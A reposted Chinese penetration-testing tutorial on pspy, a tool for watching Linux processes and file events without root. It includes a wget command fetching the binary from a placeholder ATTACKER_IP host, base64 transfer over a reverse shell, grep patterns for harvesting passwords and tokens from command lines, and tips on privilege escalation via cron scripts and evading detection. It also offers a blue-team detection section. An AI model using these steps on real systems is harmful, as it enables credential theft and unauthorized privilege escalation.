【工具学习26】pspy:让你无root也能看透系统里谁在干什么"

admin 2026-10-16 11:49:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【工具学习26】pspy:让你无root也能看透系统里谁在干什么

原创

CabinQ
CabinQ

逆熵寻生

2026年9月21日 09:55
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

拿到shell后两眼一抹黑?pspy让你无root也能看透系统里谁在干什么

渗透测试中有一个场景:好不容易拿到一个低权限 shell,却不知道这台机器上到底在跑什么。crontab 看不了,其他用户的进程看不到,管理员什么时候执行了什么命令更是一无所知。

pspy 就是为这个场景而生的。它是 Go 写的一个单二进制工具,不需要 root 权限,不需要任何特殊 capability,丢上去就能跑,实时监控整个系统的进程和文件变动。GitHub 上 14k+ star,几乎是 CTF 和后渗透阶段的标配。

原理:读 /proc 不需要特权

pspy 的核心思路其实很朴素——Linux 的 /proc 文件系统对普通用户开放了大部分进程的只读信息。pspy 做了两件事:

第一,周期性扫描 /proc/[0-9]+/,从 cmdline、status、stat 里提取 PID、PPID、UID 和完整命令行。它不是像 ps aux 那样拍一张快照就结束,而是持续轮询,每 100ms 扫一次。那些跑完就消失的短命进程——比如 cron 触发的脚本——用 ps 根本抓不到,pspy 不会漏。

第二,在关键目录上注册 inotify 监听,实时捕获文件创建、修改、删除事件。默认监控 /usr、/tmp、/etc、/home、/var、/opt。当文件系统事件触发时,pspy 会立即扫描 /proc 获取对应的进程信息。

两个机制配合,既不会漏掉一闪而过的进程,也能看到谁在什么时候动了什么文件。而且全程不需要 ptrace、不需要 CAPSYSPTRACE,任何普通用户都能跑。

四个二进制,按需选择

pspy 提供四个预编译版本:

二进制 架构 大小 inotify 支持
pspy32 x86 ~2.5 MB 有
pspy64 x86\_64 ~3 MB 有
pspy32s x86 ~1 MB 无(精简版)
pspy64s x86\_64 ~1.2 MB 无(精简版)

带 s 后缀的是 stripped 版本,去掉了 inotify 支持,体积缩小一半以上。如果目标机器磁盘空间紧张或者传输带宽有限,用精简版就够了。需要监控文件变动(比如观察管理员往 /tmp 写了什么),就用完整版。

传输到目标机器

实战中拿到 shell 后,传工具是个技术活。几种常用方式:

方式一:目标有 wget/curl

攻击机开 HTTP 服务

python3 -m http.server 8080

目标机器下载

wget http://ATTACKER\_IP:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64

方式二:目标没有 wget/curl,用 base64 传

攻击机编码

base64 -w0 pspy64 > pspy64.b64

目标机器解码(直接粘贴或通过 shell 写入)

base64 -d pspy64.b64 > /tmp/pspy64 &&chmod +x /tmp/pspy64

方式三:通过已有的反弹 shell 传输

在攻击机执行

cat pspy64 | base64 | xclip -sel clip

在反弹 shell 里粘贴解码

echo '' | base64 -d > /tmp/pspy64 &&chmod +x /tmp/pspy64

注意 /tmp 是最常见的落地点,但有些环境挂载了 noexec。如果遇到权限问题,可以试 /dev/shm(内存文件系统,通常可执行)或者当前用户的 home 目录。

核心用法

最基本的使用,什么都不用加:

./pspy64

启动后屏幕上会实时刷出进程信息,格式清晰:

2026/08/3114:08:16 CMD: UID=0    PID=608  | /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2026/08/3114:08:16 CMD: UID=0    PID=462  | /usr/sbin/cron -f
2026/08/3114:09:01 CMD: UID=0    PID=1247 | /bin/sh-c /opt/scripts/backup.sh
2026/08/3114:09:01 CMD: UID=0    PID=1248 | /usr/bin/python3 /opt/scripts/backup.sh --full

关键看 UID=0 的行——这些是 root 跑的进程。上面这个例子中,root 在每分钟执行一个备份脚本,这就是一个潜在的提权突破口:如果这个脚本里引用了你能写的文件,或者脚本的参数可以被劫持,提权就到手了。

常用参数组合

同时监控进程和文件系统事件,每 500ms 扫描一次

./pspy64 -pf -i 500

只关注特定目录的文件变动

./pspy64 -f -r /home/admin -r /var/www

用颜色区分不同用户的进程(方便肉眼识别 root 进程)

./pspy64 -c

完整实战配置:进程+文件系统+颜色+自定义扫描间隔

./pspy64 -pf -c -i200 -r /home -r /tmp -r /opt

参数说明:

🔹 -p:打印进程事件(默认开启)

🔹 -f:打印文件系统事件(默认关闭)

🔹 -i:procfs 扫描间隔,单位毫秒,默认 1000

🔹 -r:递归监控目录(可多次指定)

🔹 -d:非递归监控目录

🔹 -c:彩色输出

输出过滤技巧

pspy 的输出量可能很大,实战中建议配合过滤使用:

只看 root 进程

./pspy64 | grep \"UID=0\"

只看 cron 相关

./pspy64 | grep -i cron

只看包含密码/密钥参数的进程(凭据泄露检测)

./pspy64 | grep -iE \"password|passwd|secret|key|token|api\"

输出到文件慢慢分析

./pspy64 -pf > /tmp/pspy\_output.log 2>&1 &

五个实战场景

场景一:发现隐藏的 cron 任务

这是 pspy 最经典的用法。拿到 shell 后,crontab -l 看不到什么,/etc/crontab 也没有异常。但跑起 pspy 等几分钟,经常能发现 root 在定时执行某些脚本。

2026/08/3115:00:01 CMD: UID=0  PID=3421 | /bin/sh-c /usr/local/bin/cleanup.sh
2026/08/3115:00:01 CMD: UID=0  PID=3422 | /bin/bash /usr/local/bin/cleanup.sh

接下来要做的就是:检查 cleanup.sh 的内容和权限。如果脚本里调用了你当前用户可写的某个文件,或者脚本本身有可写的父目录,就可以通过篡改脚本内容来提权。

场景二:捕获命令行中的明文密码

很多管理员习惯不好,会在命令行里直接传密码:

2026/08/3116:23:45 CMD: UID=0  PID=5678 | mysql -u root -pSuperSecret123
2026/08/3116:24:12 CMD: UID=1000 PID=5690 | curl-u admin:P@ssw0rd! https://api.internal/
2026/08/3116:25:33 CMD: UID=0  PID=5712 | /usr/bin/rsync -avz-e\"ssh -P MyKey123\" /data/ [email protected]:/backup/

这些信息通过 ps aux 只能看到执行瞬间的快照,用 pspy 持续监控则不会错过。

场景三:监控管理员行为

在多用户系统或跳板机上,管理员经常登录执行操作。pspy 可以实时看到他们做了什么:

2026/08/3117:00:05 CMD: UID=0  PID=6001 | sudo su -
2026/08/3117:00:12 CMD: UID=0  PID=6015 | cat /etc/shadow
2026/08/3117:01:30 CMD: UID=0  PID=6023 | vim /etc/passwd
2026/08/3117:02:45 CMD: UID=0  PID=6040 | scp /root/backup.tar.gz admin@external:/tmp/

这不仅能帮你在渗透测试中找到提权路径,在安全审计场景中也能发现管理员的不当操作。

场景四:文件系统监控发现部署行为

开启 -f 参数后,pspy 会报告文件变动事件:

2026/08/3118:00:01 FS    CREATE  /var/www/html/config.php.new
2026/08/3118:00:03 FS    CLOSE\_WRITE  /var/www/html/config.php.new
2026/08/3118:00:03 FS    DELETE  /var/www/html/config.php
2026/08/3118:00:03 FS    CREATE  /var/www/html/config.php
2026/08/3118:00:15 CMD: UID=0  PID=7001 | /bin/systemctl restart nginx

上面这组事件说明有人在更新 Web 配置并重启服务。如果这个过程中有你可以利用的时间窗口(比如新旧配置切换的瞬间),就可以做一些中间人操作。

场景五:CTF 中的标准流程

在 CTF 比赛中,pspy 几乎是标准流程的一环。典型套路:

  1. 拿到低权限 shell

  2. 上传 pspy,运行 ./pspy64 -pf -i 200

  3. 等待 root 进程出现,重点关注:

🔹 可写路径下的脚本执行

🔹 SUID 程序调用

🔹 包含凭据的命令行

🔹 定期任务触发的可写文件操作

  1. 根据发现的线索构造提权路径

参数调优经验值

不同场景下的推荐配置:

场景 推荐参数 说明
快速侦察 ./pspy64 默认配置,先看个大概
抓 cron 任务 ./pspy64 -i 500 缩短扫描间隔,避免漏掉短命进程
全面监控 ./pspy64 -pf -i 200 进程+文件系统,50ms 级别扫描
低资源目标 ./pspy64s -i 2000 精简版+放宽间隔,减少性能影响
定向监控 ./pspy64 -f -r /home/user 只盯一个目录

扫描间隔不是越小越好。-i 100 在负载较高的系统上会产生大量 I/O,可能影响目标性能,也更容易被发现。一般 200-1000ms 是合理范围。

同类工具对比

特性 pspy 传统 ps/top linpeas
需要 root 否 否(但看不到其他用户) 否
持续监控 是 否(一次性快照) 否(静态检查)
捕获短命进程 是 否 否
文件系统监控 是 否 否
单二进制 是(1-3MB) 系统自带 否(shell 脚本)
依赖 无 无 bash + 常用工具
适合场景 后渗透/CTF 系统管理 提权枚举

pspy 和 linpeas 不是替代关系,而是互补。linpeas 做的是静态配置检查(SUID、capabilities、可写目录等),pspy 做的是动态行为监控。实战中两个都跑起来效果最好。

蓝队检测视角

pspy 本身非常隐蔽——它只读 /proc 和注册 inotify,不创建网络连接,不写特殊文件,不加载内核模块。但仍然有办法发现它:

🔹 进程列表:pspy 自身的进程会出现在 ps 输出中,名称是 pspy64 或 pspy32

🔹 /proc 扫描检测:频繁的 /proc 遍历会产生一定的 I/O,可以通过 auditd 或 eBPF 工具监控

🔹 文件哈希:检查已知 pspy 二进制的哈希值

🔹 inotify 限制:可以通过 sysctl fs.inotify.max_user_watches=0 禁用非特权用户的 inotify(但这会影响正常应用)

实际防御中,更有效的做法是:不在命令行传密码、确保 cron 脚本不可被低权限用户修改、定期检查系统上的未知二进制文件。

小结

pspy 的哲学就是 Unix 的\"做好一件事\"——无特权进程监控,它做到了极致。不需要 root,不需要配置,丢上去就跑。1MB 的精简版就能覆盖最核心的需求,在 CTF 和后渗透场景中几乎是不可或缺的工具。

拿到 shell 后的第一件事,不是急着提权,而是先用 pspy 看清楚这台机器上到底在发生什么。信息就是力量。

关注我,持续不断地成长!

往期推荐:

*【工具学习13】Impacket 工具实战教程(一)*

*【工具学习14】Impacket 工具实战教程(二)*

*【工具学习15】Impacket 工具实战教程(三)*

*【工具学习16】Impacket 工具实战教程(四)*

*【工具学习17】Impacket 工具实战教程(五)*

*【工具学习18】Impacket 工具实战教程(六)*

*【工具学习19】httpx  迅速定位真正存活的 HTTP 服务*

*【工具学习20】NetExec 内网渗透实战教程*

*【工具学习21】Subfinder :12000 Star 的被动子域名侦察利器*

*【工具学习22】RustScan :3秒扫完65535端口*

*【工具学习23】BloodHound:一条路径从普通域用户到Domain Admin*

*【工具学习24】BloodHound进阶(二):Cypher查询与三条深度攻击路径*

*【工具学习25】ligolo-ng:让内网像直连一样打*


【工具学习26】pspy:让你无root也能看透系统里谁在干什么" 网络安全文章

【工具学习26】pspy:让你无root也能看透系统里谁在干什么"

本文介绍pspy工具,一款无需root权限即可监控Linux系统进程与文件变动的单二进制工具,原理基于读取/proc文件系统与inotify监听。文章详述四个预编译版本选择、传输方法、核心参数用法及五个实战场景,包括发现隐藏cron任务、捕获命令行明文密码、监控管理员行为等,并给出参数调优建议与蓝队检测视角,是后渗透与CTF场景的标配工具。
威胁情报|FomoPeekAppStore投毒与iOS内核利用分析" 网络安全文章

威胁情报|FomoPeekAppStore投毒与iOS内核利用分析"

慢雾科技披露FomoPeekApp在AppStore官方版本1.1和1.2中植入恶意模块,具备远程配置、内核漏洞利用、沙盒逃逸、Keychain解密及跨应用数据采集能力,影响iOS12至18.7.2及26.0至26.1版本。攻击者通过KOL邀请码传播并诱导用户真机停留数分钟以完成利用链。建议用户立即卸载受影响版本并关注官方安全通告。
手绘国风的模拟经营独立游戏也能吸引到一大批玩家?——专访《醉风酒》制作人留老太" 网络安全文章

手绘国风的模拟经营独立游戏也能吸引到一大批玩家?——专访《醉风酒》制作人留老太"

独立游戏《醉风酒》由制作人留老太历时两年单人开发完成,融合手绘国风与模拟经营玩法,融入多地生活细节与趣味小游戏。开发者强调成本控制、灵活宣发与玩家反馈的重要性,虽存在数值与Bug等不足,但凭借独特风格与真实感收获关注。建议独立开发者在内容规划与宣发节奏上更谨慎,避免过度承诺。
“AI洗稿宣传”网络以数百个Facebook页面深度伪造数十名澳政客,揭示工业化虚假信息对澳政治生态的渗透" 网络安全文章

“AI洗稿宣传”网络以数百个Facebook页面深度伪造数十名澳政客,揭示工业化虚假信息对澳政治生态的渗透"

该文档揭示一个以AI生成内容大规模深度伪造澳大利亚政客的工业化虚假信息网络,涉及超200个Facebook页面及近590万粉丝,并扩展至多国。其以商业利益为驱动,通过流量变现获利,治理需切断账号矩阵收益链而非仅删帖,并应追查关联资产与后台证据。
评论:0   参与:  0